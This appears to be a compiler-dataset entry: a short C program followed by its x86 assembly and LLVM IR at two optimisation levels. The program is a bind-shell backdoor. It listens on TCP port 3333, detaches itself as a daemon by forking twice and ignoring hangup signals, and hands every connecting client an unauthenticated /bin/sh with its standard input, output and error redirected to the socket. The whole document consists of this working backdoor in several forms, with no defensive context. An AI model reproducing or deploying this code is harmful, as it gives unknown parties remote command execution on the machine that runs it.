#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */
typedef struct TYPE_2__ TYPE_1__;

/* Type definitions */
struct TYPE_2__ {
  int /*<<< orphan*/ s_addr;
};
struct sockaddr_in {
  int /*<<< orphan*/ sin_port;
  TYPE_1__ sin_addr;
  int /*<<< orphan*/ sin_family;
};
struct sockaddr {
  int dummy;
};
typedef int /*<<< orphan*/ serv_addr;
typedef int /*<<< orphan*/ client_addr;

/* Variables and functions */
int /*<<< orphan*/ AF_INET;
int /*<<< orphan*/ INADDR_ANY;
int /*<<< orphan*/ IPPROTO_TCP;
int /*<<< orphan*/ SIGHUP;
int /*<<< orphan*/ SIG_IGN;
int /*<<< orphan*/ SOCK_STREAM;
int accept(int, struct sockaddr *, int *);
int bind(int, struct sockaddr *, int);
int /*<<< orphan*/ bzero(char *, int);
int /*<<< orphan*/ close(int);
int /*<<< orphan*/ dup2(int, int);
int /*<<< orphan*/ execl(char *, char *, char *);
int /*<<< orphan*/ exit(int);
int fork();
int getpid();
int /*<<< orphan*/ htonl(int /*<<< orphan*/);
int /*<<< orphan*/ htons(int);
int listen(int, int);
int /*<<< orphan*/ setpgrp();
int /*<<< orphan*/ signal(int /*<<< orphan*/, int /*<<< orphan*/);
int socket(int /*<<< orphan*/, int /*<<< orphan*/, int /*<<< orphan*/);
int main(int argc, char *argv[]) {
  int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
  struct sockaddr_in serv_addr;
  struct sockaddr_in client_addr;
  soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  if (soc_des == -1)
    exit(-1);
  bzero((char *)&serv_addr, sizeof(serv_addr));
  serv_addr.sin_family = AF_INET;
  serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
  serv_addr.sin_port = htons(3333);
  soc_rc = bind(soc_des, (struct sockaddr *)&serv_addr, sizeof(serv_addr));
  if (soc_rc != 0)
    exit(-1);
  if (fork() != 0)
    exit(0);
  setpgrp();
  signal(SIGHUP, SIG_IGN);
  if (fork() != 0)
    exit(0);
  soc_rc = listen(soc_des, 5);
  if (soc_rc != 0)
    exit(0);
  while (1) {
    soc_len = sizeof(client_addr);
    soc_cli = accept(soc_des, (struct sockaddr *)&client_addr, &soc_len);
    if (soc_cli < 0)
      exit(0);
    cli_pid = getpid();
    server_pid = fork();
    if (server_pid != 0) {
      dup2(soc_cli, 0);
      dup2(soc_cli, 1);
      dup2(soc_cli, 2);
      execl("/bin/sh", "sh", (char *)0);
      close(soc_cli);
      exit(0);
    }
    close(soc_cli);
  }
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x50,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    0x2dd3(%rip),%rax
mov    (%rax),%edi
mov    0x2da2(%rip),%rax
mov    (%rax),%esi
mov    0x2db1(%rip),%rax
mov    (%rax),%edx
call   1110 <socket@plt>
mov    %eax,-0x14(%rbp)
cmpl   $0xffffffff,-0x14(%rbp)
jne    123d <main+0x4d>
mov    $0xffffffff,%edi
call   10d0 <exit@plt>
lea    -0x38(%rbp),%rdi
mov    $0xc,%esi
call   10b0 <bzero@plt>
mov    0x2d8e(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x30(%rbp)
mov    0x2d7a(%rip),%rax
mov    (%rax),%edi
call   1060 <htonl@plt>
mov    %eax,-0x34(%rbp)
mov    $0xd05,%edi
call   1040 <htons@plt>
mov    %eax,-0x38(%rbp)
mov    -0x14(%rbp),%edi
lea    -0x38(%rbp),%rsi
mov    $0xc,%edx
call   10a0 <bind@plt>
mov    %eax,-0x1c(%rbp)
cmpl   $0x0,-0x1c(%rbp)
je     129d <main+0xad>
mov    $0xffffffff,%edi
call   10d0 <exit@plt>
mov    $0x0,%al
call   1100 <fork@plt>
cmp    $0x0,%eax
je     12b4 <main+0xc4>
xor    %edi,%edi
call   10d0 <exit@plt>
mov    $0x0,%al
call   10f0 <setpgrp@plt>
mov    0x2d2e(%rip),%rax
mov    (%rax),%edi
mov    0x2cfd(%rip),%rax
mov    (%rax),%esi
call   1080 <signal@plt>
mov    $0x0,%al
call   1100 <fork@plt>
cmp    $0x0,%eax
je     12e9 <main+0xf9>
xor    %edi,%edi
call   10d0 <exit@plt>
mov    -0x14(%rbp),%edi
mov    $0x5,%esi
call   1090 <listen@plt>
mov    %eax,-0x1c(%rbp)
cmpl   $0x0,-0x1c(%rbp)
je     130a <main+0x11a>
xor    %edi,%edi
call   10d0 <exit@plt>
jmp    130f <main+0x11f>
movl   $0xc,-0x20(%rbp)
mov    -0x14(%rbp),%edi
lea    -0x48(%rbp),%rsi
lea    -0x20(%rbp),%rdx
call   10c0 <accept@plt>
mov    %eax,-0x18(%rbp)
cmpl   $0x0,-0x18(%rbp)
jge    133a <main+0x14a>
xor    %edi,%edi
call   10d0 <exit@plt>
mov    $0x0,%al
call   1030 <getpid@plt>
mov    %eax,-0x28(%rbp)
mov    $0x0,%al
call   1100 <fork@plt>
mov    %eax,-0x24(%rbp)
cmpl   $0x0,-0x24(%rbp)
je     13a2 <main+0x1b2>
mov    -0x18(%rbp),%edi
xor    %esi,%esi
call   1050 <dup2@plt>
mov    -0x18(%rbp),%edi
mov    $0x1,%esi
call   1050 <dup2@plt>
mov    -0x18(%rbp),%edi
mov    $0x2,%esi
call   1050 <dup2@plt>
lea    0xc7d(%rip),%rdi
lea    0xc7b(%rip),%rsi
xor    %eax,%eax
mov    %eax,%edx
call   10e0 <execl@plt>
mov    -0x18(%rbp),%edi
call   1070 <close@plt>
xor    %edi,%edi
call   10d0 <exit@plt>
mov    -0x18(%rbp),%edi
call   1070 <close@plt>
jmp    130f <main+0x11f>

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %r15
push   %r14
push   %rbx
sub    $0x28,%rsp
mov    0x2ddf(%rip),%rbp
mov    0x0(%rbp),%edi
mov    0x2dad(%rip),%rax
mov    (%rax),%esi
mov    0x2dbc(%rip),%rax
mov    (%rax),%edx
call   1110 <socket@plt>
cmp    $0xffffffff,%eax
je     132c <main+0x13c>
mov    %eax,%r14d
lea    0x8(%rsp),%rbx
mov    %rbx,%rdi
mov    $0xc,%esi
call   10b0 <bzero@plt>
mov    0x0(%rbp),%eax
mov    %eax,0x10(%rsp)
mov    0x2d91(%rip),%rax
mov    (%rax),%edi
call   1060 <htonl@plt>
mov    %eax,0xc(%rsp)
mov    $0xd05,%edi
call   1040 <htons@plt>
mov    %eax,0x8(%rsp)
mov    %r14d,%edi
mov    %rbx,%rsi
mov    $0xc,%edx
call   10a0 <bind@plt>
test   %eax,%eax
jne    132c <main+0x13c>
xor    %eax,%eax
call   1100 <fork@plt>
test   %eax,%eax
jne    1325 <main+0x135>
xor    %eax,%eax
call   10f0 <setpgrp@plt>
mov    0x2d5b(%rip),%rax
mov    (%rax),%edi
mov    0x2d2a(%rip),%rax
mov    (%rax),%esi
call   1080 <signal@plt>
xor    %eax,%eax
call   1100 <fork@plt>
test   %eax,%eax
jne    1325 <main+0x135>
mov    %r14d,%edi
mov    $0x5,%esi
call   1090 <listen@plt>
test   %eax,%eax
jne    1325 <main+0x135>
movl   $0xc,0x4(%rsp)
lea    0x18(%rsp),%rsi
lea    0x4(%rsp),%rdx
mov    %r14d,%edi
call   10c0 <accept@plt>
test   %eax,%eax
js     1325 <main+0x135>
mov    %eax,%ebp
lea    0x18(%rsp),%r15
lea    0x4(%rsp),%rbx
nopl   0x0(%rax,%rax,1)
xor    %eax,%eax
call   1030 <getpid@plt>
xor    %eax,%eax
call   1100 <fork@plt>
test   %eax,%eax
jne    1336 <main+0x146>
mov    %ebp,%edi
call   1070 <close@plt>
movl   $0xc,0x4(%rsp)
mov    %r14d,%edi
mov    %r15,%rsi
mov    %rbx,%rdx
call   10c0 <accept@plt>
mov    %eax,%ebp
test   %eax,%eax
jns    12f0 <main+0x100>
xor    %edi,%edi
call   10d0 <exit@plt>
mov    $0xffffffff,%edi
call   10d0 <exit@plt>
mov    %ebp,%edi
xor    %esi,%esi
call   1050 <dup2@plt>
mov    %ebp,%edi
mov    $0x1,%esi
call   1050 <dup2@plt>
mov    %ebp,%edi
mov    $0x2,%esi
call   1050 <dup2@plt>
lea    0xca2(%rip),%rdi
lea    0xca0(%rip),%rsi
xor    %edx,%edx
call   10e0 <execl@plt>
mov    %ebp,%edi
call   1070 <close@plt>
xor    %edi,%edi
call   10d0 <exit@plt>

LLVM IR (-O0):
%struct.sockaddr_in = type { i32, %struct.TYPE_2__, i32 }
%struct.TYPE_2__ = type { i32 }
%struct.sockaddr = type { i32 }
@AF_INET = global i32 0
@SOCK_STREAM = global i32 0
@IPPROTO_TCP = global i32 0
@INADDR_ANY = global i32 0
@SIGHUP = global i32 0
@SIG_IGN = global i32 0
@.str = [8 x i8] c"/bin/sh\00"
@.str.1 = [3 x i8] c"sh\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca i32
%7 = alloca i32
%8 = alloca i32
%9 = alloca i32
%10 = alloca i32
%11 = alloca i32
%12 = alloca %struct.sockaddr_in
%13 = alloca %struct.sockaddr_in
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
%14 = load i32, i32* @AF_INET
%15 = load i32, i32* @SOCK_STREAM
%16 = load i32, i32* @IPPROTO_TCP
%17 = call i32 @socket(i32 %14, i32 %15, i32 %16)
store i32 %17, i32* %6
%18 = load i32, i32* %6
%19 = icmp eq i32 %18, -1
br i1 %19, label %20, label %22
20: ; preds = %2
%21 = call i32 @exit(i32 -1)
unreachable
22: ; preds = %2
%23 = bitcast %struct.sockaddr_in* %12 to i8*
%24 = call i32 @bzero(i8* %23, i32 12)
%25 = load i32, i32* @AF_INET
%26 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %12, i32 0, i32 2
store i32 %25, i32* %26
%27 = load i32, i32* @INADDR_ANY
%28 = call i32 @htonl(i32 %27)
%29 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %12, i32 0, i32 1
%30 = getelementptr inbounds %struct.TYPE_2__, %struct.TYPE_2__* %29, i32 0, i32 0
store i32 %28, i32* %30
%31 = call i32 @htons(i32 3333)
%32 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %12, i32 0, i32 0
store i32 %31, i32* %32
%33 = load i32, i32* %6
%34 = bitcast %struct.sockaddr_in* %12 to %struct.sockaddr*
%35 = call i32 @bind(i32 %33, %struct.sockaddr* %34, i32 12)
store i32 %35, i32* %8
%36 = load i32, i32* %8
%37 = icmp ne i32 %36, 0
br i1 %37, label %38, label %40
38: ; preds = %22
%39 = call i32 @exit(i32 -1)
unreachable
40: ; preds = %22
%41 = call i32 (...) @fork()
%42 = icmp ne i32 %41, 0
br i1 %42, label %43, label %45
43: ; preds = %40
%44 = call i32 @exit(i32 0)
unreachable
45: ; preds = %40
%46 = call i32 (...) @setpgrp()
%47 = load i32, i32* @SIGHUP
%48 = load i32, i32* @SIG_IGN
%49 = call i32 @signal(i32 %47, i32 %48)
%50 = call i32 (...) @fork()
%51 = icmp ne i32 %50, 0
br i1 %51, label %52, label %54
52: ; preds = %45
%53 = call i32 @exit(i32 0)
unreachable
54: ; preds = %45
%55 = load i32, i32* %6
%56 = call i32 @listen(i32 %55, i32 5)
store i32 %56, i32* %8
%57 = load i32, i32* %8
%58 = icmp ne i32 %57, 0
br i1 %58, label %59, label %61
59: ; preds = %54
%60 = call i32 @exit(i32 0)
unreachable
61: ; preds = %54
br label %62
62: ; preds = %61, %86
store i32 12, i32* %9
%63 = load i32, i32* %6
%64 = bitcast %struct.sockaddr_in* %13 to %struct.sockaddr*
%65 = call i32 @accept(i32 %63, %struct.sockaddr* %64, i32* %9)
store i32 %65, i32* %7
%66 = load i32, i32* %7
%67 = icmp slt i32 %66, 0
br i1 %67, label %68, label %70
68: ; preds = %62
%69 = call i32 @exit(i32 0)
unreachable
70: ; preds = %62
%71 = call i32 (...) @getpid()
store i32 %71, i32* %11
%72 = call i32 (...) @fork()
store i32 %72, i32* %10
%73 = load i32, i32* %10
%74 = icmp ne i32 %73, 0
br i1 %74, label %75, label %86
75: ; preds = %70
%76 = load i32, i32* %7
%77 = call i32 @dup2(i32 %76, i32 0)
%78 = load i32, i32* %7
%79 = call i32 @dup2(i32 %78, i32 1)
%80 = load i32, i32* %7
%81 = call i32 @dup2(i32 %80, i32 2)
%82 = call i32 @execl(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.1, i64 0, i64 0), i8* null)
%83 = load i32, i32* %7
%84 = call i32 @close(i32 %83)
%85 = call i32 @exit(i32 0)
unreachable
86: ; preds = %70
%87 = load i32, i32* %7
%88 = call i32 @close(i32 %87)
br label %62
}

LLVM IR (-O2):
%struct.sockaddr_in = type { i32, %struct.TYPE_2__, i32 }
%struct.TYPE_2__ = type { i32 }
%struct.sockaddr = type { i32 }
@AF_INET = global i32 0
@SOCK_STREAM = global i32 0
@IPPROTO_TCP = global i32 0
@INADDR_ANY = global i32 0
@SIGHUP = global i32 0
@SIG_IGN = global i32 0
@.str = [8 x i8] c"/bin/sh\00"
@.str.1 = [3 x i8] c"sh\00"
define i32 @main(i32 %0, i8** nocapture readnone %1) {
%3 = alloca i32
%4 = alloca %struct.sockaddr_in
%5 = alloca %struct.sockaddr_in
%6 = bitcast i32* %3 to i8*
%7 = bitcast %struct.sockaddr_in* %4 to i8*
%8 = bitcast %struct.sockaddr_in* %5 to i8*
%9 = load i32, i32* @AF_INET
%10 = load i32, i32* @SOCK_STREAM
%11 = load i32, i32* @IPPROTO_TCP
%12 = tail call i32 @socket(i32 %9, i32 %10, i32 %11)
%13 = icmp eq i32 %12, -1
br i1 %13, label %14, label %16
14: ; preds = %2
%15 = tail call i32 @exit(i32 -1)
unreachable
16: ; preds = %2
%17 = call i32 @bzero(i8* %7, i32 12)
%18 = load i32, i32* @AF_INET
%19 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %4, i64 0, i32 2
store i32 %18, i32* %19
%20 = load i32, i32* @INADDR_ANY
%21 = tail call i32 @htonl(i32 %20)
%22 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %4, i64 0, i32 1, i32 0
store i32 %21, i32* %22
%23 = tail call i32 @htons(i32 3333)
%24 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %4, i64 0, i32 0
store i32 %23, i32* %24
%25 = bitcast %struct.sockaddr_in* %4 to %struct.sockaddr*
%26 = call i32 @bind(i32 %12, %struct.sockaddr* %25, i32 12)
%27 = icmp eq i32 %26, 0
br i1 %27, label %30, label %28
28: ; preds = %16
%29 = call i32 @exit(i32 -1)
unreachable
30: ; preds = %16
%31 = call i32 (...) @fork()
%32 = icmp eq i32 %31, 0
br i1 %32, label %35, label %33
33: ; preds = %30
%34 = call i32 @exit(i32 0)
unreachable
35: ; preds = %30
%36 = call i32 (...) @setpgrp()
%37 = load i32, i32* @SIGHUP
%38 = load i32, i32* @SIG_IGN
%39 = call i32 @signal(i32 %37, i32 %38)
%40 = call i32 (...) @fork()
%41 = icmp eq i32 %40, 0
br i1 %41, label %44, label %42
42: ; preds = %35
%43 = call i32 @exit(i32 0)
unreachable
44: ; preds = %35
%45 = call i32 @listen(i32 %12, i32 5)
%46 = icmp eq i32 %45, 0
br i1 %46, label %47, label %51
47: ; preds = %44
%48 = bitcast %struct.sockaddr_in* %5 to %struct.sockaddr*
store i32 12, i32* %3
%49 = call i32 @accept(i32 %12, %struct.sockaddr* %48, i32* %3)
%50 = icmp slt i32 %49, 0
br i1 %50, label %53, label %55
51: ; preds = %44
%52 = call i32 @exit(i32 0)
unreachable
53: ; preds = %67, %47
%54 = call i32 @exit(i32 0)
unreachable
55: ; preds = %47, %67
%56 = phi i32 [ %69, %67 ], [ %49, %47 ]
%57 = call i32 (...) @getpid()
%58 = call i32 (...) @fork()
%59 = icmp eq i32 %58, 0
br i1 %59, label %67, label %60
60: ; preds = %55
%61 = call i32 @dup2(i32 %56, i32 0)
%62 = call i32 @dup2(i32 %56, i32 1)
%63 = call i32 @dup2(i32 %56, i32 2)
%64 = call i32 @execl(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.1, i64 0, i64 0), i8* null)
%65 = call i32 @close(i32 %56)
%66 = call i32 @exit(i32 0)
unreachable
67: ; preds = %55
%68 = call i32 @close(i32 %56)
store i32 12, i32* %3
%69 = call i32 @accept(i32 %12, %struct.sockaddr* %48, i32* %3)
%70 = icmp slt i32 %69, 0
br i1 %70, label %53, label %55
}